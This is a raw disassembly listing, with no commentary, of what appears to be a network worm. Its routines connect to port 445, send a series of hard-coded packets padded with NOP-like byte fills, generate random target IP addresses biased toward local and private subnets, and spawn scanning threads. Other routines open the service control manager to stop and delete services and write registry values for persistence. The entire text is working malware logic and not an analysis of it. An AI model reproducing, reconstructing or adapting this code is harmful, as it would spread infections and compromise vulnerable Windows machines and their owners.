arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 89F4h
		call	sub_41E4A5
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_3054],	1
		mov	[ebp+var_89F0],	1
		lea	edi, [ebp+var_89E0]
		lea	esi, loc_4049EF+1
		movsd
		movsd
		and	[ebp+var_89F4],	0
		mov	[ebp+var_89E2],	1BDh
		push	0
		push	1
		push	2
		call	sub_41E41D
		mov	[ebp+var_54], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41DBBF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_89EC],	eax
		push	eax
		call	sub_41E3E1
		push	1Dh
		push	eax
		lea	edi, [ebp+var_6900]
		push	edi
		call	sub_41E5BD
		lea	eax, [ebp+var_6900]
		push	eax
		push	404D5Ah
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_41E749
		add	esp, 0Ch
		xor	ebx, ebx


loc_41D5FA:				; CODE XREF: sub_41D569+A2j
		mov	dl, [ebp+ebx+var_7C]
		mov	[ebp+ebx*2+var_50], dl
		mov	[ebp+ebx*2+var_4F], 0
		inc	ebx
		cmp	ebx, 28h
		jl	short loc_41D5FA
		push	60h
		push	404525h
		lea	eax, [ebp+var_303C]
		push	eax
		call	sub_41E70D
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_41E5C9
		mov	edi, eax
		shl	edi, 1
		push	edi
		lea	edi, [ebp+var_50]
		push	edi
		lea	edi, [ebp+var_300C]
		push	edi
		call	sub_41E70D
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_41E5C9
		push	9
		push	offset sub_40457C
		mov	edi, eax
		shl	edi, 1
		lea	edi, [ebp+edi+var_300D]
		push	edi
		call	sub_41E70D
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_41E5C9
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 34h
		mov	edx, edi
		mov	[ebp+var_403A],	dl
		push	1
		lea	eax, [ebp+var_403A]
		push	eax
		lea	eax, [ebp+var_3039]
		push	eax
		call	sub_41E70D
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_41E5C9
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 9
		mov	edx, edi
		mov	[ebp+var_89E3],	dl
		push	1
		lea	eax, [ebp+var_89E3]
		push	eax
		lea	eax, [ebp+var_300F]
		push	eax
		call	sub_41E70D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3058],	eax
		push	0E29h
		push	31h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_41E719
		add	esp, 48h
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		call	sub_41E5A5
		mov	[ebp+var_304C],	2
		movsx	eax, [ebp+var_89E2]
		movzx	eax, ax
		push	eax
		call	sub_41E3C9
		mov	edi, eax
		mov	[ebp+var_304A],	di
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3048],	eax
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		push	[ebp+var_54]
		call	sub_41E3A5
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D73C
		mov	[ebp+var_3054],	2
		jmp	loc_41DBB7
; ---------------------------------------------------------------------------


loc_41D73C:				; CODE XREF: sub_41D569+1C2j
		push	64h
		call	sub_41E5B1
		push	0
		push	89h
		push	offset sub_404313
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_41E5B1
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_41E3F9
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41DBAD
		push	0
		push	0A8h
		push	40439Dh
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_41E5B1
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_41E3F9
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41DBAD
		push	0
		push	0DEh
		push	404446h
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_41E5B1
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_41E3F9
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41DBAD
		mov	eax, [ebp+var_80]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D816
		cmp	eax, 46h
		jge	short loc_41D81B


loc_41D816:				; CODE XREF: sub_41D569+2A6j
		jmp	loc_41DBAD
; ---------------------------------------------------------------------------


loc_41D81B:				; CODE XREF: sub_41D569+2ABj
		lea	eax, [ebp+var_2F83]
		mov	[ebp+var_89E8],	eax
		cmp	byte ptr [eax],	31h
		setnz	al
		and	eax, 1
		mov	[ebp+var_3050],	eax
		jz	loc_41D92F
		push	0DACh
		push	90h
		lea	eax, [ebp+var_2987]
		push	eax
		call	sub_41E719
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_21A3]
		push	eax
		call	sub_41E70D
		push	[ebp+arg_8]
		push	[ebp+var_3058]
		lea	eax, [ebp+var_2193]
		push	eax
		call	sub_41E70D
		push	4
		push	404D55h
		lea	eax, [ebp+var_1E6F]
		push	eax
		call	sub_41E70D
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_1E6B]
		push	eax
		call	sub_41E70D
		push	[ebp+var_3058]
		call	sub_41E5C9
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_1E5F]
		push	edi
		call	sub_41E70D
		add	esp, 48h
		xor	ebx, ebx


loc_41D8D7:				; CODE XREF: sub_41D569+38Bj
		mov	dl, [ebp+ebx+var_2987]
		mov	[ebp+ebx*2+var_1BDA], dl
		mov	[ebp+ebx*2+var_1BD9], 0
		inc	ebx
		cmp	ebx, 0DACh
		jl	short loc_41D8D7
		mov	[ebp+var_82], 0
		mov	[ebp+var_81], 0
		push	1C52h
		push	31h
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_41E719
		push	1C52h
		push	31h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_41E719
		add	esp, 18h
		jmp	short loc_41D991
; ---------------------------------------------------------------------------


loc_41D92F:				; CODE XREF: sub_41D569+2CDj
		push	7D0h
		push	90h
		lea	eax, [ebp+var_68E2]
		push	eax
		call	sub_41E719
		push	[ebp+var_3058]
		call	sub_41E5C9
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_6842]
		push	edi
		call	sub_41E70D
		lea	eax, [ebp+var_89E0]
		push	eax
		call	sub_41E5C9
		push	eax
		lea	edi, [ebp+var_89E0]
		push	edi
		lea	edi, [ebp+var_6126]
		push	edi
		call	sub_41E70D
		add	esp, 24h
		mov	eax, dword ptr ds:loc_404935+3
		mov	[ebp+var_6136],	eax


loc_41D991:				; CODE XREF: sub_41D569+3C4j
		push	0
		movsx	eax, [ebp+var_403A]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_303C]
		push	eax
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_41E5B1
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_41E3F9
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41DBAD
		push	0
		push	68h
		push	404586h
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_41E5B1
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_41E3F9
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41DBAD
		push	0
		push	0A0h
		push	4045EFh
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_41E5B1
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_41E3F9
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41DBAD
		cmp	[ebp+var_3050],	0
		jz	loc_41DB39
		push	68h
		push	offset sub_40479E
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_41E70D
		push	1B5Ah
		lea	eax, [ebp+var_1BDA]
		push	eax
		lea	eax, [ebp+var_8970]
		push	eax
		call	sub_41E70D
		push	70h
		push	404807h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_41E70D
		push	0A5Eh
		lea	eax, [ebp+var_B46]
		push	eax
		lea	eax, [ebp+var_60A2]
		push	eax
		call	sub_41E70D
		push	84h
		push	offset sub_404878
		lea	eax, [ebp+var_55DE]
		push	eax
		call	sub_41E70D
		add	esp, 3Ch
		push	0
		push	10FCh
		lea	eax, [ebp+var_89D8]
		push	eax
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_41E5B1
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_41E3F9
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41DBAD
		push	0
		push	0FDCh
		lea	eax, [ebp+var_6112]
		push	eax
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DB9F
		jmp	short loc_41DB9F
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41D569+4FAj
		push	7Ch
		push	404690h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_41E70D
		push	7D0h
		lea	eax, [ebp+var_68E2]
		push	eax
		lea	eax, [ebp+var_3FBD]
		push	eax
		call	sub_41E70D
		push	90h
		push	40470Dh
		lea	eax, [ebp+var_37ED]
		push	eax
		call	sub_41E70D
		add	esp, 24h
		mov	[ebp+var_3342],	0
		push	0
		push	0CF8h
		lea	eax, [ebp+var_4039]
		push	eax
		push	[ebp+var_54]
		call	sub_41E405
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2


loc_41DB9F:				; CODE XREF: sub_41D569+5CCj
					; sub_41D569+5CEj
		push	64h
		call	sub_41E5B1
		and	[ebp+var_3054],	0


loc_41DBAD:				; CODE XREF: sub_41D569+216j
					; sub_41D569+258j ...
		push	2
		push	[ebp+var_54]
		call	sub_41E411


loc_41DBB7:				; CODE XREF: sub_41D569+1CEj
		push	[ebp+var_54]
		call	sub_41E399


loc_41DBBF:				; CODE XREF: sub_41D569+53j
		mov	eax, [ebp+var_3054]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D569	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DBCA	proc near		; CODE XREF: .data:loc_41DC3Ep

var_32		= byte ptr -32h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		push	edi
		push	31h
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_41E3BD
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DBE6
		xor	eax, eax
		jmp	short loc_41DC00
; ---------------------------------------------------------------------------


loc_41DBE6:				; CODE XREF: sub_41DBCA+16j
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_41E3B1
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41DBF9
		xor	eax, eax
		jmp	short loc_41DC00
; ---------------------------------------------------------------------------


loc_41DBF9:				; CODE XREF: sub_41DBCA+29j
		mov	eax, [edi+0Ch]
		mov	esi, [eax]
		mov	eax, [esi]


loc_41DC00:				; CODE XREF: sub_41DBCA+1Aj
					; sub_41DBCA+2Dj
		pop	edi
		pop	esi
		leave
		retn
sub_41DBCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		push	edi
		call	sub_41E539
		push	eax
		call	sub_41E755
		mov	esi, 254h
		mov	eax, esi
		add	eax, 0Ah
		push	eax
		push	0
		call	sub_41E575
		mov	ebx, eax
		push	esi
		push	4040BFh
		push	ebx
		call	sub_41E70D
		add	esp, 10h


loc_41DC3E:				; CODE XREF: .data:0041DC58j
					; .data:0041DC92j ...
		call	sub_41DBCA
		mov	[ebp-10Ch], eax
		or	eax, eax
		jnz	short loc_41DC5A
		push	384h
		call	sub_41E6F5
		pop	ecx
		jmp	short loc_41DC3E
; ---------------------------------------------------------------------------


loc_41DC5A:				; CODE XREF: .data:0041DC4Bj
		mov	al, [ebp-10Ch]
		mov	[ebp-111h], al
		mov	al, [ebp-10Bh]
		mov	[ebp-112h], al
		mov	al, [ebp-10Ah]
		mov	[ebp-135h], al
		cmp	byte ptr [ebp-111h], 7Fh
		jnz	short loc_41DC94
		push	384h
		call	sub_41E6F5
		pop	ecx
		jmp	short loc_41DC3E
; ---------------------------------------------------------------------------


loc_41DC94:				; CODE XREF: .data:0041DC85j
		lea	eax, [ebp-130h]
		push	eax
		call	sub_41D468
		push	0
		call	sub_41E6F5
		add	esp, 8
		call	sub_41E731
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-134h], dl
		call	sub_41E731
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-131h], dl
		call	sub_41E731
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-132h], dl
		call	sub_41E731
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp-133h], dl
		mov	al, [ebp-133h]
		cmp	al, 5
		jnb	short loc_41DD31
		mov	al, [ebp-112h]
		mov	[ebp-134h], al
		mov	al, [ebp-133h]
		cmp	al, 3
		jnb	short loc_41DD31
		mov	al, [ebp-135h]
		mov	[ebp-131h], al


loc_41DD31:				; CODE XREF: .data:0041DD0Dj
					; .data:0041DD23j
		cmp	byte ptr [ebp-111h], 0Ah
		jnz	short loc_41DD66
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		movzx	eax, byte ptr [ebp-134h]
		push	eax
		push	404D49h
		lea	eax, [ebp-130h]
		push	eax
		call	sub_41E749
		add	esp, 14h


loc_41DD66:				; CODE XREF: .data:0041DD38j
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0ACh
		jnz	short loc_41DDC0
		mov	al, [ebp-112h]
		cmp	al, 0Fh
		jbe	short loc_41DDC0
		cmp	al, 21h
		jnb	short loc_41DDC0
		call	sub_41E731
		movzx	edi, byte ptr [ebp-132h]
		push	edi
		movzx	edi, byte ptr [ebp-131h]
		push	edi
		mov	edx, eax
		and	edx, 8000000Fh
		jge	short loc_41DDA6
		dec	edx
		or	edx, 0FFFFFFF0h
		inc	edx


loc_41DDA6:				; CODE XREF: .data:0041DD9Fj
		mov	edi, edx
		add	edi, 10h
		push	edi
		push	404D3Ch
		lea	edi, [ebp-130h]
		push	edi
		call	sub_41E749
		add	esp, 14h


loc_41DDC0:				; CODE XREF: .data:0041DD72j
					; .data:0041DD7Cj ...
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0C0h
		jnz	short loc_41DE00
		movzx	eax, byte ptr [ebp-112h]
		cmp	eax, 0A8h
		jnz	short loc_41DE00
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		push	404D2Eh
		lea	eax, [ebp-130h]
		push	eax
		call	sub_41E749
		add	esp, 10h


loc_41DE00:				; CODE XREF: .data:0041DDCCj
					; .data:0041DDDAj
		lea	eax, [ebp-130h]
		push	eax
		call	sub_41E3D5
		cmp	[ebp-10Ch], eax
		jz	loc_41DC3E
		push	dword ptr [ebp-10Ch]
		call	sub_41E3E1
		movzx	edi, word ptr ds:loc_404092+2
		push	edi
		push	eax
		push	404D27h
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_41E749
		add	esp, 10h


loc_41DE40:				; CODE XREF: .data:0041DE69j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_41DE49:				; CODE XREF: .data:0041DE4Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DE49
		cmp	eax, 19h
		jz	short loc_41DE6B
		push	404D25h
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_41E761
		add	esp, 8
		jmp	short loc_41DE40
; ---------------------------------------------------------------------------


loc_41DE6B:				; CODE XREF: .data:0041DE53j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_41DE74:				; CODE XREF: .data:0041DE79j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DE74
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, ebx
		add	edi, 9
		push	edi
		call	sub_41E70D
		add	esp, 0Ch
		lea	eax, [ebp-130h]
		push	eax
		call	sub_41E3D5
		push	esi
		push	ebx
		push	eax
		call	sub_41D569
		add	esp, 0Ch
		mov	[ebp-13Ch], eax
		push	0
		call	sub_41E6F5
		add	esp, 4
		jmp	loc_41DC3E
; ---------------------------------------------------------------------------
		db 5Fh,	5Eh, 5Bh
		dd 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEC4	proc near		; CODE XREF: .data:0041DF06p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41E545
		cmp	eax, 80000000h
		jb	short loc_41DEDB
		mov	eax, 3Ch
		jmp	short locret_41DEFC
; ---------------------------------------------------------------------------


loc_41DEDB:				; CODE XREF: sub_41DEC4+Ej
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E429
		and	[ebp+var_4], 2
		cmp	[ebp+var_4], 2
		jnz	short loc_41DEF7
		mov	eax, 12Ch
		jmp	short locret_41DEFC
; ---------------------------------------------------------------------------


loc_41DEF7:				; CODE XREF: sub_41DEC4+2Aj
		mov	eax, 64h

locret_41DEFC:				; CODE XREF: sub_41DEC4+15j
					; sub_41DEC4+31j
		leave
		retn
sub_41DEC4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_41DEC4
		mov	ebx, eax
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	offset sub_401565
		push	0
		push	0
		call	sub_41E5D5
		push	eax
		call	sub_41E52D
		xor	esi, esi
		jmp	short loc_41DF5F
; ---------------------------------------------------------------------------


loc_41DF2D:				; CODE XREF: .data:0041DF61j
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	offset sub_401E23
		push	0
		push	0
		call	sub_41E5D5
		push	eax
		call	sub_41E52D
		mov	eax, 0EA60h
		xor	edx, edx
		div	ebx
		mov	[ebp-8], eax
		mov	edi, eax
		push	eax
		call	sub_41E6F5
		pop	ecx
		inc	esi


loc_41DF5F:				; CODE XREF: .data:0041DF2Bj
		cmp	esi, ebx
		jb	short loc_41DF2D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF6A	proc near		; CODE XREF: sub_41E239+ACp

var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 388h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_16C]
		lea	esi, loc_404A37+1
		mov	ecx, 51h
		rep movsd
		and	[ebp+var_24], 0


loc_41DF8D:				; CODE XREF: sub_41DF6A+211j
		push	0F003Fh
		push	0
		push	0
		call	sub_41E67D
		mov	[ebp+var_28], eax
		or	eax, eax
		jz	loc_41E174
		push	0F003Fh
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_370], eax
		push	[ebp+eax+var_16C]
		push	[ebp+var_28]
		call	sub_41E689
		mov	ebx, eax
		or	eax, eax
		jz	loc_41E16C
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		push	ebx
		call	sub_41E665
		mov	[ebp+var_4], eax
		and	[ebp+var_4], 0


loc_41DFE5:				; CODE XREF: sub_41DF6A+A4j
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		push	ebx
		call	sub_41E665
		or	eax, eax
		jz	short loc_41DFFB
		cmp	[ebp+var_1C], 1
		jnz	short loc_41DFFD


loc_41DFFB:				; CODE XREF: sub_41DF6A+89j
		jmp	short loc_41E010
; ---------------------------------------------------------------------------


loc_41DFFD:				; CODE XREF: sub_41DF6A+8Fj
		push	3E8h
		call	sub_41E5B1
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Ah
		jb	short loc_41DFE5


loc_41E010:				; CODE XREF: sub_41DF6A:loc_41DFFBj
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_374], eax
		cmp	[ebp+eax+var_168], 0
		jz	short loc_41E02E
		push	ebx
		call	sub_41E671


loc_41E02E:				; CODE XREF: sub_41DF6A+BCj
		push	ebx
		call	sub_41E659
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_378], eax
		cmp	[ebp+eax+var_164], 0
		jz	loc_41E16C
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	0
		jnz	loc_41E0F4
		push	0
		push	18h
		lea	eax, [ebp+var_36C]
		push	eax
		push	0
		call	sub_41E435
		or	eax, eax
		jz	short loc_41E0F4
		lea	ecx, [ebp+var_36C]
		or	eax, 0FFFFFFFFh


loc_41E08D:				; CODE XREF: sub_41DF6A+128j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E08D
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jbe	short loc_41E0C1
		mov	eax, [ebp+var_4]
		sub	eax, 1
		cmp	[ebp+eax+var_36C], 5Ch
		jz	short loc_41E0C1
		push	offset sub_404BA0
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_41E761
		add	esp, 8


loc_41E0C1:				; CODE XREF: sub_41DF6A+131j
					; sub_41DF6A+141j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_41E761
		add	esp, 8
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_41E5E1


loc_41E0F4:				; CODE XREF: sub_41DF6A+FEj
					; sub_41DF6A+118j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	1
		jnz	short loc_41E16C
		lea	eax, [ebp+var_4]
		push	eax
		push	20006h
		push	0
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_384], eax
		mov	edx, [ebp+eax+var_164]
		push	dword ptr [edx+4]
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+0Ch]
		call	sub_41E6B9
		or	eax, eax
		jnz	short loc_41E16C
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_388], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		push	[ebp+var_4]
		call	sub_41E695
		push	[ebp+var_4]
		call	sub_41E6AD


loc_41E16C:				; CODE XREF: sub_41DF6A+62j
					; sub_41DF6A+E0j ...
		push	[ebp+var_28]
		call	sub_41E659


loc_41E174:				; CODE XREF: sub_41DF6A+36j
		inc	[ebp+var_24]
		cmp	[ebp+var_24], 1Bh
		jb	loc_41DF8D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41DF6A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	eax, [ebp+0Ch]
		cmp	eax, 10h
		jz	short loc_41E216
		jg	short loc_41E1A3
		cmp	eax, 2
		jz	short loc_41E20D
		jmp	loc_41E223
; ---------------------------------------------------------------------------


loc_41E1A3:				; CODE XREF: .data:0041E197j
		cmp	eax, 113h
		jnz	short loc_41E223
		and	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-8], 4
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	404B85h
		push	80000001h
		call	sub_41D1A8
		mov	eax, dword ptr ds:loc_404096+2
		mov	[ebp-0Ch], eax
		add	[ebp-4], eax
		push	4
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	404B85h
		push	80000001h
		call	sub_41D13D
		add	esp, 30h
		push	0
		push	404098h
		call	sub_41E55D
		jmp	short loc_41E234
; ---------------------------------------------------------------------------


loc_41E20D:				; CODE XREF: .data:0041E19Cj
		push	0
		call	sub_41E629
		jmp	short loc_41E234
; ---------------------------------------------------------------------------


loc_41E216:				; CODE XREF: .data:0041E195j
		push	dword ptr ds:loc_403000
		call	sub_41E641
		jmp	short loc_41E234
; ---------------------------------------------------------------------------


loc_41E223:				; CODE XREF: .data:0041E19Ej
					; .data:0041E1A8j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41E64D


loc_41E234:				; CODE XREF: .data:0041E20Bj
					; .data:0041E214j ...
		pop	edi
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E239	proc near		; CODE XREF: sub_41E441+5Cp

var_2DC		= byte ptr -2DCh
var_2D8		= byte ptr -2D8h
var_148		= dword	ptr -148h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_8]
		push	offset sub_403010
		call	sub_41E4C5
		push	404B7Ch
		lea	eax, [ebp+var_143]
		push	eax
		call	sub_41E749
		and	[ebp+var_44], 0
		lea	eax, loc_4023A4+3
		mov	[ebp+var_40], eax
		and	[ebp+var_3C], 0
		and	[ebp+var_38], 0
		mov	[ebp+var_34], edi
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_143]
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_41E5F9
		push	0
		push	edi
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CF0000h
		push	404D25h
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		call	sub_41E635
		mov	dword ptr ds:loc_403000, eax
		call	sub_41E509
		push	eax
		call	sub_41D118
		lea	eax, [ebp+var_2D8]
		push	eax
		push	2
		call	sub_41E375
		push	0
		call	sub_41DF6A
		lea	eax, [ebp+var_2DC]
		push	eax
		push	0
		push	0
		push	40211Dh
		push	0
		push	0
		call	sub_41E5D5
		push	eax
		call	sub_41E52D
		and	[ebp+var_148], 0
		push	4
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	404B81h
		push	404B85h
		push	80000001h
		call	sub_41D13D
		add	esp, 24h
		push	0
		push	2710h
		push	1
		push	dword ptr ds:loc_403000
		call	sub_41E5ED
		jmp	short loc_41E35A
; ---------------------------------------------------------------------------


loc_41E348:				; CODE XREF: sub_41E239+132j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41E611
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41E61D


loc_41E35A:				; CODE XREF: sub_41E239+10Dj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41E605
		or	eax, eax
		jnz	short loc_41E348
		pop	edi
		leave
		retn	10h
sub_41E239	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E375	proc near		; CODE XREF: sub_41E239+A5p
		jmp	dword ptr ds:loc_40524B+1
sub_41E375	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E381	proc near		; CODE XREF: .data:0041D43Fp
		jmp	dword ptr ds:loc_405250
sub_41E381	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

